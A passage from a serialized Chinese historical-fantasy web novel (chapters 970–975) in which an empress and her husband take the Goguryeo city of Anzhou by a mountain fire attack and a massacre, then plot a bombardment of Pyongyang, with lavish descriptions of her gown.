她覆盖在霞帔下的肩膀,?几不可察地,?轻轻颤动了一下。 她并没有立刻发作,?而是微微侧过头,?看向身旁的林臻。 那一刻,她眼中凌厉的威仪悄然褪去,取而代之的是一种混合着无奈、委屈和一丝寻求认同的复杂情绪。 她的声音,?通过内力,?只传入了林臻一人耳中,?带着一丝撒娇般的抱怨?: “夫君,你看他们,我好心给他们机会,他们却不领情,还要还要扒我的裙子。”她的语气,像个被误解的孩子,与方才阵前威严的女帝判若两人。 林臻心中又是好气又是心疼。 他同样传音入密,?声音沉稳而充满保护欲?:“嫣儿不必在意这些狂犬吠日之言。他们既然自寻死路,成全他们便是。你的衣裳,岂是这些蝼蚁可以亵渎的?” 慕容嫣听了,?嘴角微微撇了撇,?似乎更委屈了?:“可是他们好凶,还骂我是妖女。” 她说着,?下意识地,?用戴着墨玉扳指的手,?轻轻抚了抚霞帔的领口,?仿佛要确认她的神凤降世裙完好无损。 林臻看着她这小动作,?心中爱怜更甚,?传音道?:“在我心中,嫣儿永远是最高贵圣洁的凤凰。这些将死之人的污言秽语,只会玷污他们的灵魂,与你无伤。下令吧,为夫为你扫平这些聒噪的蝼蚁。” 慕容嫣与林臻对视片刻,?看到他眼中毫无保留的支持与宠溺,?心中的那一丝不快瞬间烟消云散。 她重新转过头,?面向安州城,?脸上的神情已恢复了一片冰封般的平静,?甚至带着一丝怜悯?? 她轻轻叹了口气,?这声叹息,?同样通过内力,?清晰地传遍了战场?:“冥顽不灵,自取灭亡,既然如此,朕便成全你们的忠烈。” 说罢,她猛地拔出了悬挂在马鞍旁的长枪,?刀锋直指安州城?! 阳光照射在刀身上,反射出刺眼的寒光! “攻城!” 简短的二字,如同惊雷,炸响在战场上空! “咚!咚!咚——!”战鼓擂响,声震四野! “轰!轰!轰——!”火炮齐鸣,地动山摇! 大战,瞬间爆发! 慕容嫣并未后退,?依旧立马阵前,?冷冷地注视着炮弹呼啸着砸向城墙,?烟尘四起,?碎石飞溅。 林臻策马更靠近她一步,?几乎将她护在身后,?长槊横握,?警惕万分。 就在第一波炮火稍歇,步兵开始推进的间隙,慕容嫣似乎对林臻说了句什么,?轻轻拨转马头,?准备返回中军指挥位置。 就在她拨转马头的刹那—— 动作带着一丝对愚昧者的怜悯与决策后的决绝! 那凌乱垂落、沾染了战场尘土的墨金色拖尾与披肩下摆因这动作被猛地带起! 华贵的锦缎与貂皮在硝烟初起的空气中划过,?唰啦一声,?拂过地面?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在战场朝阳下璀璨如黄金战甲般的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出耀眼夺目的金芒,那金光充满了力量与审判的意味,尊贵、辉煌,且带着碾碎一切抵抗的、无可阻挡的气势! 这惊鸿一瞥,是对安州守军最终命运的宣判! 裙摆落下,将那片象征着绝对力量的金光掩藏。 慕容嫣在林臻和亲卫的簇拥下,?缓缓向中军退去。 她的背影挺拔,那身神凤降世裙在硝烟与晨光中,成为了整个战场最耀眼也最令人胆寒的焦点。 第971章 久攻不下 圣徽二年,三月初一。 安州城下的战事,并未如预期般迅速结束,反而陷入了令人焦灼的僵持。 高句丽守军显然汲取了海州城的教训,抵抗异常顽强,加之安州城依山而建,地势险要,大乾军队连续猛攻两日,虽数次登上城头,却都被悍不畏死的守军拼死击退,伤亡不小。 城墙上下一片狼藉,尸骸堆积,但那座城池依旧如同磐石般,牢牢扼守着通往平壤的道路。 黄昏时分,攻城暂歇。 中军大帐内,气氛凝重。慕容嫣并未像往常般慵懒倚坐,?而是站立在巨大的安州城沙盘前。 沙盘上,代表敌我双方的小旗犬牙交错,清晰地标示出当前的僵局。 她手中握着一杆精致的、缩比例仿制的鎏金凤头长枪,?枪尖无意识地轻轻点着沙盘中代表安州城墙的木块。 她依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 连续两日的督战,让她眉宇间带着一丝不易察觉的疲惫,但更多的是一种被顽强抵抗激起的冷厉。 ?神凤降世裙在帐内跳跃的烛火下,呈现出一种不同于白日战场的、更加深沉内敛的光华。? 极致玄黑的苏锦底料吸吮着烛光,色泽愈发深邃,仿佛能将所有焦灼与不安都吸纳进去。 织入的金色棉绒与真金线,流淌着幽暗而温暖的波光,与沙盘的肃杀形成对比。? 睡裙之上,那只擎天巨凤的图案,在静止时,少了几分张扬,多了几分沉思的威仪。? 宽大轻盈的喇叭袖一只软软垂在身侧,另一只则随着她持枪点划沙盘的动作,?袖口金线流苏微微晃动。 她左手拇指上的墨玉扳指,在烛光下泛着幽润的光泽。 而那长达五丈的苏锦拖尾,?在铺着兽皮的地面上,?呈现出一种深思时无意识的凌乱——并非刻意铺陈,?而是随着她的踱步,?自然地蜿蜒盘旋,?一部分堆在沙盘基座旁,?一部分扫过地面的毛皮,?甚至卷到了固定帐篷的桩子附近。 这种凌乱,更真实地反映了主人此刻并不平静的心绪。 ?棉质的柔软与睡裙的舒适,在此刻也无法完全缓解战事不利带来的烦躁。 林臻站在沙盘的另一侧,?同样面色沉凝。 他已卸去甲胄,?穿着一身深色劲装,?更显得肩宽腰窄。 他的目光紧紧跟随着慕容嫣手中长枪的移动,眉头微锁。 “夫君,”慕容嫣终于停下点划的动作,?抬起眼,?看向林臻,?那双凤眸中,?少了平日的犀利,?多了几分依赖与询问, “这安州城像块嚼不烂的硬骨头,啃了两天,崩了牙也没见动静,你说接下来该怎么办?”她的声音里带着一丝不易察觉的烦躁,但更多的,是寻求他意见的信任。 林臻走到她身边,目光落在沙盘上安州城东侧那片连绵的山峦上。 他伸手指着那片区域,沉声道:“嫣儿,强攻伤亡太大,此城依山而建,地利优势明显。硬拼,非上策。” 慕容嫣顺着他的手指看去,?红唇微撅,?带着点小抱怨?:“那怎么办嘛?难道就这么围着?平壤还在等着我们呢,时间拖得越久变数越多。” 她说着,?下意识地,?将手中的微型长枪,?枪柄那头,?轻轻戳了戳林臻的胳膊, “夫君你肯定有办法的对不对?你最聪明了。” 林臻被她这孩子气的动作弄得心中一软,?伸手握住她戳过来的枪柄,?顺势将她拉近了些。 他指着那片山峦,?低声道?:“办法不是没有。只是有些狠辣。” “哦?”慕容嫣眼睛微微一亮,?凑近沙盘,?几乎将半个身子靠在了林臻臂膀上,“快说,快说,什么办法?只要能快点拿下这座破城狠辣点怕什么?” 她的语气带着一种天真的残忍,仿佛在讨论一件有趣的游戏。 林臻感受着臂膀上传来的温热与依赖,?深吸一口气,?指向山峦与城池接壤处?:“嫣儿你看,此时正值冬末春初,天干物燥,山风多为东南风。若我们遣一队精锐死士,趁夜绕至东侧山麓,多处纵火” 慕容嫣闻言,?凤眸骤然眯起,?闪过一丝锐光。 她没有打断,?只是静静地听着,?身体却不由自主地绷紧了些。 林臻继续道:“火借风势,必成燎原之火,迅速蔓延至山巅,甚至扑向城墙。城中房屋多为木制,一旦火星随风落入届时,城内必乱!守军救火尚且不及,哪还有暇顾及城防?我军再趁乱猛攻,内外夹击,此城必破!” 他说完,帐内陷入一片寂静。只有烛火噼啪作响。 火攻,尤其是借助山火,乃是极其酷烈的手段,不仅会焚毁城池,更会波及山中生灵,甚至可能失控,造成无法预料的后果。 慕容嫣沉默了。 她的目光,?死死盯着沙盘上那片代表山峦的区域,?手指无意识地摩挲着微型长枪的枪杆。 半晌,她才缓缓抬起头,?看向林臻,?眼神复杂?:“夫君这火会不会太大了点?万一控制不住……” 林臻握住她的手,?感觉到她指尖的微凉。 他沉声道?:“风险确有。但这是目前破局最快、代价最小的办法。至于控制可预先清理出隔离带,并令大军严阵以待,防止火势蔓延过广。重点是将火,引入城中。” 慕容嫣又沉默了片刻。 她转过身,?背对着沙盘,?望向帐壁上摇曳的烛火投影。 那凌乱铺地的墨金色拖尾,?随着她的转身,?在地面上划出一道弧线。 “他们骂我是妖女,说我要扒我的裙子。”她忽然轻声说,?语气里听不出喜怒,“既然他们这么想,那我就做得更彻底一点好了。” 她的声音渐渐转冷,“就用这场火告诉他们激怒朕的下场” 她猛地回身?! 动作带着一种做出艰难决定后的决绝! 那迤逦在地、凌乱不堪的五丈墨金色拖尾因这迅猛的回转被猛地带起! 华贵的锦缎如同被注入了冰冷的意志,?唰啦一声,?扫过地面的兽皮?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在烛光下却仿佛燃烧着幽暗火焰的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现,金光流淌,但那光芒此刻毫无暖意,只有一种如同地狱业火般的冰冷与残酷! 这惊鸿一瞥,是对安州城最终命运的、不带一丝温度的裁决! 裙摆落下,将那片幽暗的金光掩盖。 慕容嫣的目光已恢复了一片冰封的平静。 她看向林臻,?语气斩钉截铁?:“就依夫君之计!传令下去,即刻准备火油、火箭,挑选擅长山地攀爬的死士!今夜子时,东风起时放火!” “是!”林臻凛然应命。 慕容嫣走到他面前,?伸手替他理了理并无需整理的衣领,?声音放缓了些,?带着一丝不易察觉的疲惫?:“夫君,此事交由你全权负责。我有点累了先去歇会儿。” “好,嫣儿放心,一切有为夫。”林臻握住她的手,低声保证。 慕容嫣点了点头,?最后看了一眼沙盘上那座即将被烈火吞噬的城池模型,?然后,?拖着那身华美而沉重的神凤降世裙,?向帐后休息的隔间走去。 第972章 不久出任大元帅 圣徽二年,三月初一,夜。 安州城内,与城外大乾军营的肃杀凝重截然相反,一派劫后余生般的狂欢景象。 白日里击退大乾军队的猛攻,让守军士气高涨到了顶点,一种虚妄的乐观情绪弥漫在全城。 城守府衙,此刻灯火通明,觥筹交错。 大厅内,炭火烧得正旺,驱散了春夜的寒意。 长案上摆满了抢掠城中存粮烹制的肉食、罕见的海鱼,以及一坛坛启封的美酒。 守城主将崔仁师,一个身材粗壮、满面红光的将领,正志得意满地踞坐在主位之上,接受着部下们潮水般的阿谀奉承。 “将军神武!今日城头,您亲自挥刀,连斩三名登城敌酋,真乃我高句丽第一猛将!” “是啊!大乾军队看似凶猛,在将军面前,也不过是土鸡瓦狗!” “要我说,经此一役,将军威名必将传遍半岛!待击退慕容嫣,解了平壤之围,摄政王定然会封将军为大元帅!统领全国兵马!” 崔仁师被捧得飘飘然,哈哈大笑,重重将酒碗顿在案上,酒水四溅。 “哈哈哈!承诸位吉言!那慕容嫣小丫头,仗着几分姿色和几件奇装异服,就敢犯我疆土?简直是笑话!她今日阵前穿的那身不伦不类的黑金睡裙,隔着老远都能看见,真是丢尽了帝王脸面!待本将军擒下她,定要好好瞧瞧,那袍子底下究竟是个什么货色!” 言语粗鄙,充满了亵渎之意。 底下众人又是一阵哄笑和奉承,仿佛胜利已然在握,荣华富贵触手可及。 他们肆意嘲笑着慕容嫣的穿着,将白日的顽强抵抗完全归功于自己的勇武,却选择性忽略了城下堆积如山的同袍尸体和依旧围得水泄不通的大乾军营。 城内其他角落,侥幸存活的士兵们也分到了些许酒肉,同样沉浸在暂时的胜利喜悦中,全然不知致命的危机正在悄然逼近。 与此同时,安州城东侧的山峦阴影中,却是另一番景象。 夜色浓重,星月无光,正是隐秘行动的绝佳时机。 一队身着黑色夜行衣、脸上涂着炭灰的大乾精锐死士,如同鬼魅般在山林间无声穿行。 他们动作敏捷,训练有素,避开了一切可能存在的巡逻岗哨,直扑预定的几个关键山麓地点。 带队的是林臻麾下最擅长山地作战的校尉韩猛。 他趴在一处山脊后,锐利的目光透过夜色,俯瞰着下方灯火通明、隐隐传来喧嚣声的安州城。城内的狂欢,在他眼中,不过是死囚赴刑前的最后晚餐。 “动作快!把‘猛火油’罐子都安置好!埋在枯叶下面,引线接长!”韩猛压低声音,对手下命令道。 士兵们立刻行动起来,将一个个密封的陶罐小心翼翼地从背负的皮囊中取出,这些罐子里装满了粘稠漆黑、气味刺鼻的原油。 他们选择了几处林木茂密、且处于上风口的位置,将油罐埋设妥当,接上长长的、浸过油脂的麻绳作为引线。 整个过程悄无声息,与山下城内的喧嚣形成鲜明对比。 空气中弥漫着原油的特殊气味和山林的土腥味,混合成一种令人不安的气息。 韩猛检查了一遍各个埋设点,确认无误后,打了个手势,死士们如同来时一样,悄无声息地消失在黑暗的山林之中,只留下那些隐藏在枯枝败叶下的死亡之种,静静等待着东风的召唤。 慕容嫣并未安寝。 她独自站在大帐门口,?掀开帐帘的一角,?遥望着远处黑暗中安州城墙上零星的火把光亮,?以及更远处那片在夜色中如同巨兽脊背般沉默的山峦。 帐内只点了一盏牛角灯,光线昏暗。 她依旧穿着那身神凤降世裙,?外面随意披着那件黑金貂皮披肩,?用以抵御夜间的寒气。 ?神凤降世裙在昏暗的光线下,呈现出一种神秘而深邃的美感。 ?极致玄黑的苏锦底料几乎与夜色融为一体,只有织入的金色棉绒与真金线,在微弱灯光下流淌着幽幽的暗金光泽,如同暗夜中猛兽的瞳孔。 ?睡裙之上,那只擎天巨凤的轮廓在昏暗中若隐若现,带着一种蛰伏待机的力量感。? 宽大的喇叭袖垂在身侧,她左手拇指上的墨玉扳指,在黑暗中泛着微光。 那长达五丈的苏锦拖尾,?在身后昏暗的地面上,?拖曳出凌乱而模糊的痕迹,?仿佛是她此刻心绪的延伸。? 棉质的柔软与睡裙的舒适,在此刻也无法完全驱散她内心对即将发动的残酷手段的一丝复杂心绪。 轻微的脚步声响起,林臻掀帘而入,?身上带着一丝夜露的微凉和山间的寒气。 他走到慕容嫣身后,轻声禀报:“嫣儿,韩猛他们回来了,一切顺利,‘火种’都已埋下,只待东风。” 慕容嫣没有回头,?只是轻轻“嗯”了一声。她依旧望着远方,?沉默了片刻,?才低声问道?:“夫君你说,城里那些人现在在做什么?”她的声音里听不出什么情绪。 林臻走到她身侧,与她并肩望向安州城的方向,淡淡道:“还能做什么?弹冠相庆,醉生梦死罢了。他们以为挡住了白日的进攻,便是胜利。” 慕容嫣忽然轻笑了一声,?笑声里带着一丝嘲讽,?又有一丝难以言喻的怜悯?:“真是可怜又可悲,” 她说着,?转过身,?面向林臻。 就在她转身的刹那—— 那凌乱拖曳在昏暗中的墨金色拖尾与披肩下摆被带动,?唰啦一声,?在寂静的帐内显得格外清晰?! 随着拖尾的飘起——赫然露出了里面那金线密织、在昏暗光线下仿佛内敛着地狱之火的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现出幽暗的金芒,那光芒冰冷而残酷,与她即将下达的命令完美契合! 裙摆落下,金光隐去。 慕容嫣抬头看着林臻,?昏暗的光线中,?她的眼眸亮得惊人。她伸出手,?轻轻拉住林臻冰凉的双手,?用自己的掌心温暖他?:“夫君,手这么凉,辛苦你了。” 林臻反手握紧她温暖柔软的手,?摇了摇头?:“为嫣儿分忧,谈何辛苦。” 他看着她,眼中充满了温柔与坚定, “只是这火一旦点燃,便再无回头路了。” 慕容嫣将额头轻轻抵在他的胸口,?声音闷闷的?:“我知道,可是他们不肯投降,我们又没有太多时间可以耗在这里。” 她顿了顿,?声音带着一丝撒娇般的依赖,“夫君你会一直陪着我的对吗?就算我做了很可怕的事情。” 林臻心中一痛,?将她紧紧拥入怀中,?用披风裹住她?:“傻嫣儿无论你做什么,为夫都会在你身边。你是我的妻,更是我的君。你的决定,就是我的方向。” 慕容嫣在他怀里轻轻蹭了蹭,?仿佛汲取着力量。 过了一会儿,她抬起头,?眼神已经恢复了平静与决绝?:“传令下去,让将士们好好休息,子时东风起时按计划行事!” “是!”林臻沉声应道。 帐外,夜色深沉。 安州城内的喧嚣渐渐平息,醉醺醺的守军沉入梦乡。 第973章 火烧连营,杀! 圣徽二年,三月初二,子时。 万籁俱寂,唯有辽东早春的夜风,带着刺骨的寒意,在安州城外的山峦与原野间呼啸。 风向,悄然转为东南。 大乾中军大帐内,烛火通明。 慕容嫣并未安坐,?而是站立在帐门处,?身姿挺拔。 她已穿戴整齐,?那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙之外,?罩上了便于行动的黑金色霞帔,?最外层,?披着那件御寒且彰显威仪的黑金貂皮披肩。 她手中,?并非平日把玩的小巧模型,?而是握着一杆真正的、寒气森森的鎏金凤头点钢枪?! 枪杆乌黑,枪尖雪亮,与她一身墨金色的装扮相得益彰,更添沙场戾气。 ?神凤降世裙在帐内多支牛角灯的照耀下,流光溢彩,却散发着一种与夜色相融的冷冽威严。? 极致玄黑的苏锦底料吸吮着烛火,色泽深邃如无星之夜,织入的金色棉绒与真金线则反射出流动的暗金辉光,仿佛有熔岩在黑暗中奔涌。? 睡裙之上,那只擎天巨凤的图案,在持枪而立的身姿衬托下,充满了蓄势待发的力量感,凤眸仿佛凝视着帐外的黑暗。? 宽大的喇叭袖收束在骑射服袖口内,但她左手拇指上的墨玉扳指,在灯火下泛着幽深的光泽。 那长达五丈的苏锦拖尾,?并未刻意整理,?就那样迤逦地,?甚至带着一种战前特有的、压抑的凌乱,?铺陈在从她脚边一直到帐内深处的兽皮地毯上,?墨金色的锦缎与冰冷的兵器、肃杀的氛围形成强烈对比。? 棉质的柔软概念在此刻已被彻底颠覆,这身睡裙更像是战神出征前的独特战袍。 林臻一身玄甲,?肃立在她身侧,?目光如炬,?紧盯着帐外漆黑的夜空。 他的手中,?也紧握着他的长槊。帐内气氛凝重,落针可闻,只有两人的呼吸声和烛火偶尔的噼啪声。 “时辰差不多了。”林臻低声说道,?他的声音在寂静中格外清晰。 慕容嫣微微颔首,?凤眸中闪过一丝冰冷的光芒。 她没有言语,?只是将手中的凤头枪,?枪尖向下,?轻轻顿在地面。 这是一个无声的信号。 几乎就在她枪尖触地的瞬间,帐外远处,安州城东侧的山峦方向,突然亮起了一点微弱的、跳跃的红光! 紧接着,是第二点,第三点……红光迅速连成一片,如同地狱睁开了无数只眼睛! “起火了!”帐外传来压抑的惊呼声。 火光初起时还显得微弱,但借着越来越强劲的东南风,火势以肉眼可见的速度疯狂蔓延! 被特意浇灌了“猛火油”的枯木草丛,遇火即燃,发出噼里啪啦的爆响,火苗窜起数丈高! 浓烟滚滚,直冲云霄,将半个夜空都映成了诡异的暗红色! 远远望去,整座东山仿佛一条被点燃的巨大火龙,咆哮着,翻滚着,向山脚下的安州城猛扑过去! 城头之上,几名值夜的守军正抱着长矛,靠着垛口打盹。 突然,一股刺鼻的烟味随风飘来,紧接着,远处天际那骇人的红光将他们惊醒! “火!好大的火!东山起火了!”一名士兵惊恐地尖叫起来,声音都变了调。 其他守军瞬间睡意全无,连滚带爬地冲到城墙边,望着那如同末日降临般的火海,个个面如土色,双腿发软。 “快!快敲警钟!快去禀报将军!”哨长声嘶力竭地吼道。 “铛!铛!铛——!”凄厉的警钟声划破了安州城夜的宁静,也惊醒了城中所有沉浸在美梦中的人。 城守府内,醉醺醺的崔仁师被亲兵慌乱地摇醒。 他带着宿醉的头痛和怒气,披衣冲到院中,当看到东南方向那映红天际、如同巨兽般扑来的烈火时,他所有的酒意瞬间化为冷汗,脸色煞白,浑身筛糠般抖了起来! “怎……怎么会这样?!怎么突然起这么大的火?!”他声音颤抖,充满了难以置信的恐惧。这火势,绝非天灾! “将……将军!火借风势,太快了!眼看就要烧到城下了!怎么办啊将军?!”副将连滚爬爬地跑来,带着哭腔问道。 “怎么办……我……我怎么知道怎么办?!”崔仁师六神无主,看着那越来越近的烈焰,感受着空气中越来越灼热的气息和呛人的烟味,他脑海中只剩下一个念头——逃! 他猛地推开副将,语无伦次地喊道:“顶住!都给本将军顶住!本将军……本将军去调集援兵!” 说罢,他竟然不顾一切地转身冲向马厩,抢过一匹战马,在亲兵愕然的目光中,打马就往与火势相反的西城门方向狂奔而去,竟是要弃城逃命! 主将临阵脱逃,消息如同瘟疫般瞬间传遍全城! 本就惊慌失措的守军顿时士气崩溃,乱作一团。 有人试图救火,但杯水车薪;有人想组织防御,却无人听令;更多的人则像无头苍蝇般四处奔逃,哭喊声、尖叫声、物品倒塌声混杂在一起,安州城瞬间陷入了彻底的混乱与绝望之中! 慕容嫣与林臻早已走出大帐,?骑上了战马,?立于一处地势较高的坡地上。 远处,山火映天,如同白昼,将他们的身影拉得长长的。 灼热的气浪和烟尘随风扑面而来,但两人岿然不动。 慕容嫣端坐于白马之上,?手持凤头枪,?眺望着那片火海以及火海中混乱不堪的安州城。 火光映照在她墨金色的神凤降世裙和黑金貂皮披肩上,流动跳跃,让她整个人仿佛浴火而生,尊贵、威严,且带着一种近乎神性的冷酷。 那凌乱拖曳在马后的漫长拖尾,?在火光下,?更是染上了一层流动的血色光辉。 “夫君你看,”慕容嫣轻声开口,?声音在风火声中依然清晰,“这火是不是很美?” 她的语气平静,甚至带着一丝欣赏,仿佛在观赏一场盛大的烟火。 林臻策马靠近她一些,?为她挡住些许烟尘,?沉声道?:“很美,但也很残酷。” 他看着她被火光照亮的侧颜,那绝美的容颜上,此刻没有一丝怜悯。 慕容嫣转过头,?看向林臻,?火光在她眼中跳跃。她忽然伸出手,?不是握枪的那只,?轻轻握住了林臻按在鞍桥上的手。 她的手心微凉,与周围的灼热形成对比。 “夫君,我是不是很可怕?”她的声音里,?带着一丝几不可察的脆弱和寻求确认的依赖,“用这样的手段…” 林臻反手紧紧握住她微凉的手,?目光坚定地看着她?:“嫣儿,对敌人仁慈,便是对自己残忍。是他们选择了死路,你只是加快了进程。”他的话语,充满了无条件的支持。 慕容嫣听了,?嘴角微微勾起一抹安心的弧度。她将他的手握得更紧了些,?仿佛从中汲取力量?:“嗯,有夫君在,我什么都不怕。” 这瞬间,她又流露出一丝小女儿的情态,?与眼前炼狱般的景象格格不入。 就在这时,火势已然蔓延至城墙脚下,无数燃烧的草木碎屑被狂风卷起,越过城墙,落入城中!木质结构的房屋瞬间被点燃,火势在城内迅速蔓延开来! 安州城,彻底变成了一个巨大的火炉! 慕容嫣眼中的最后一丝柔软瞬间消失,?重新被冰冷的杀意取代。她松开林臻的手,?缓缓举起了手中的凤头枪?! 枪尖直指陷入火海的安州城! 随着她举枪的动作,?她猛地一夹马腹,?战马前蹄扬起?! 这一动作,?迅猛而充满力量?! 那迤逦在地、沾染了尘土与火光的凌乱墨金色拖尾与披肩因这动作被猛然带起! 如同凤凰展翅,?唰啦一声,?在火光映照的坡地上划出一道绚烂而致命的弧线?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在冲天火光照耀下璀璨如烈日熔金般的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出耀眼到极致的金红色光芒,尊贵、辉煌,且带着焚尽一切、主宰生死的绝对力量! 这惊鸿一瞥,是对安州城最终的审判! 裙摆落下,华光与杀意一同收敛。 “三军听令!”慕容嫣的声音,?如同寒冰碎裂,?响彻夜空,“城门已破!全军进攻——屠城!” “杀——!” 第974章 高句丽又飘了 圣徽二年,三月初三。 当安州城化作一片焦土废墟、硝烟尚未散尽之时,远在数百里外的高句丽王都平壤,却沉浸在一片虚假的、劫后余生般的狂喜之中。 昨日深夜,一骑快马带着所谓的“安州大捷”消息,冲入了沉睡的王城。 消息称:大乾军队猛攻安州数日,伤亡惨重,未能破城,已然退兵十里休整,士气低落! 这消息,如同久旱甘霖,瞬间点燃了压抑已久的王庭。 平壤王宫,景福殿。与往日愁云惨淡的氛围截然不同,今日大殿内张灯结彩,歌舞升平。 炭火盆烧得极旺,空气中弥漫着酒肉香气与脂粉味。 高句丽王高藏,一扫往日的怯懦苍白,脸上泛着兴奋的红光,高踞王座之上。 摄政王高云,虽仍努力维持着沉稳,但眉宇间的喜色与松懈却也难以掩饰。 殿下文武百官,更是人人面带笑容,推杯换盏,仿佛灭顶之灾已然过去。 “天佑高句丽!天佑陛下!”一名大臣高举酒杯,激动地喊道,“慕容嫣妖女,终究是黔驴技穷!安州雄城,岂是她那身着不伦不类睡裙的妇人可以撼动的?此番受挫,其军心必乱!我军正可一鼓作气,将其逐出国境!” “说得对!崔仁师将军真乃国之栋梁!待其凯旋,陛下定要重重封赏!”另一人连忙附和,将守将崔仁师捧上了天。 他们全然不知,那位“国之栋梁”早已弃城逃亡,生死不明。 高云端起酒杯,走向王座,对高藏道:“陛下,此战证明,我高句丽将士用命,山川险固,绝非大乾可以轻侮!只要君臣一心,军民协力,定能保社稷无恙!臣提议,重赏安州守军,并传檄各地,鼓舞士气,准备反击!” “准!统统有赏!”少年国王高藏兴奋地大手一挥,仿佛胜利已然在握,“快,把最好的酒菜都端上来!今日朕要与诸位爱卿,不醉不归!” 宫女太监们鱼贯而入,将一道道珍馐美馔、一坛坛陈年佳酿摆满案头。 丝竹之声愈发欢快,舞姬的腰肢扭动得更加卖力。 整个景福殿沉浸在一片虚妄的狂欢之中,似乎昨日的恐惧和即将到来的真正风暴,都已被这“捷报”冲刷得一干二净。 他们选择性地遗忘了海州的惨剧,也自动过滤了这“捷报”中可能存在的疑点,只顾着抓住这根救命稻草,尽情宣泄着压力。 与平壤王宫的喧嚣形成鲜明对比,位于安州城旧址不远处的大乾军中军帐内,气氛却是肃杀中带着一丝大战后的疲惫与新的筹划。 安州城的烈焰已然熄灭,只剩下断壁残垣和冲天的焦糊气味。 慕容嫣并未休息。她站在一张巨大的平壤周边军事舆图前,?身姿挺拔。 她依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 连日的征战与火攻决策,让她绝美的容颜上带着一丝不易察觉的倦色,但那双凤眸,却依旧锐利如鹰,紧盯着地图上的每一个细节。 ?神凤降世裙在帐内清晨的光线下,少了几分战场上的夺目逼人,多了几分运筹帷幄的沉静华贵。? 极致玄黑的苏锦底料吸吮着光线,色泽愈发深邃内敛,织入的金色棉绒与真金线流淌着温和而持重的辉光。 ?睡裙之上,那只擎天巨凤的图案,在静态中更显磅礴大气,仿佛在积蓄着下一波冲击的力量。? 宽大的喇叭袖一只软软垂落,拂过舆图的边缘,另一只则被她用手支着下巴,?袖口流苏轻晃。 她左手拇指上的墨玉扳指,在光下温润。 那长达五丈的苏锦拖尾,?在身后,?迤逦地铺满了舆图前的一大片地面,?呈现出一种深思时无意识的凌乱——并非刻意,?而是随着她轻微的踱步,?自然蜿蜒,?甚至有几缕,?卷到了固定帐篷的桩子旁。 这种凌乱,更真实地反映了主人此刻脑海中正在激烈推演的战局。? 棉质的柔软与睡裙的舒适,或许是她在这紧张节奏中唯一的慰藉。 林臻刚从外面巡视回来,?甲胄未卸,?带着一身清晨的寒气和淡淡的硝烟味。 他走到慕容嫣身边,?目光也落在舆图上,?低声道?:“嫣儿,安州已克,缴获清点完毕。将士们正在休整。接下来,是直扑平壤,还是?” 慕容嫣没有立刻回答,?她的手指,?沿着舆图上从安州到平壤的路线,?轻轻划过。 半晌,她才微微蹙起秀眉,?带着一丝烦恼的口气说道。 “夫君,平壤毕竟是高句丽王都,城高池深,守军定然更多,若是也像安州这样硬啃,只怕伤亡会很大呢。” 她的语气,不像是在决定一场灭国之战,倒像是在抱怨一件麻烦的家事。 林臻看着她微蹙的眉头,?心中怜惜。 他伸出手,?轻轻为她拂开颊边一缕散落的发丝,?动作温柔?:“嫣儿所虑极是。平壤不比安州,强攻确非上策。为夫以为或可智取。” “智取?”慕容嫣抬起眼帘,?凤眸中闪过一丝兴趣,?像个小女孩听到新奇玩意一样,?顺势靠进了林臻怀里,?仰头看着他,“夫君快说有什么好办法?我可不想咱们的将士再流那么多血了。” 她说着,?还用手轻轻戳了戳林臻冰凉的胸甲,?嘟囔道,“这铁疙瘩好凉。” 林臻被她这依赖的小动作弄得心中柔软,?连忙用手掌覆住她戳过来的指尖,?为她取暖,?同时低声道?。 “据‘夜枭’密报,平壤城内,此刻正因误传的‘安州大捷’而狂欢懈怠,守备必然松懈。此其一。其二,平壤城东有牡丹峰,地势高于城内,且林木茂密。若我们能遣一支奇兵,秘密潜入,控制此峰。” 慕容嫣眼睛一亮,?打断他?:“就像烧安州的山一样?可是平壤城更大,火攻怕是没那么容易见效吧?” “非也。”林臻微微一笑,?成竹在胸,“此次不纵火。控制牡丹峰后,可将我军最新打造的数十门‘霹雳炮’秘密运至峰上。峰顶距平壤王宫不过千步之遥,且在弓箭射程之外。届时,无需攻城,只需日夜不停,将巨石、火罐,甚至瘟疫死者之物,抛入王宫及守军密集之处。” 慕容嫣听到这里,?凤眸中闪过一丝冰冷的光芒,?但随即又泛起一丝狡黠的笑意。 她将脸埋在林臻的胸甲上,?闷闷地笑了起来,?肩膀微微耸动?:“夫君你好坏呀,不过我喜欢。” 她抬起头,?眼中满是赞许和依赖,“就这么办!让他们在宫里好好庆祝吧庆祝完了就该听响儿了!” 她说着,?从林臻怀里站直身体,?脸上恢复了女帝的决断?。 “传令!精选五千山地营精锐,由韩猛率领,携带‘霹雳炮’组件,今夜子时,趁暗秘密潜行至牡丹峰下,伺机占领峰顶!大军明日开拔,缓缓向平壤推进,做出休整迟缓的假象!” “是!”林臻凛然应命,立刻转身出帐安排。 帐内只剩下慕容嫣一人。 她重新将目光投向舆图上那座象征着高句丽最后抵抗的王都,?嘴角,?勾起一抹冷酷的弧度。 平壤的狂欢,在她眼中,不过是死亡降临前的最后舞蹈。 就在这时,她似乎想到什么,?转身,?想要去取案几上的水杯。 就在她转身的刹那—— 动作带着计策已定后的从容与一丝猫捉老鼠般的戏谑! 那迤逦在地、凌乱铺陈的五丈墨金色拖尾因这动作被带动,?唰啦一声,?如同暗流般滑过地面?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在帐内光线下闪烁着睿智而冰冷光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现,金光流淌,那光芒不再仅仅是力量的象征,更充满了谋略与掌控的意味,尊贵、辉煌,且带着一种将敌人玩弄于股掌之上的绝对自信! 这惊鸿一瞥,是对平壤王庭那虚假欢庆最无情的嘲讽! 裙摆落下,将那片冰冷的金光掩盖。 慕容嫣端起水杯,?轻轻呷了一口。 目光再次投向舆图上的平壤,仿佛已经看到了巨石从天而降、砸碎那些酒宴的场景。 第975章 我早就给过你们机会 圣徽二年,三月初四,黎明。 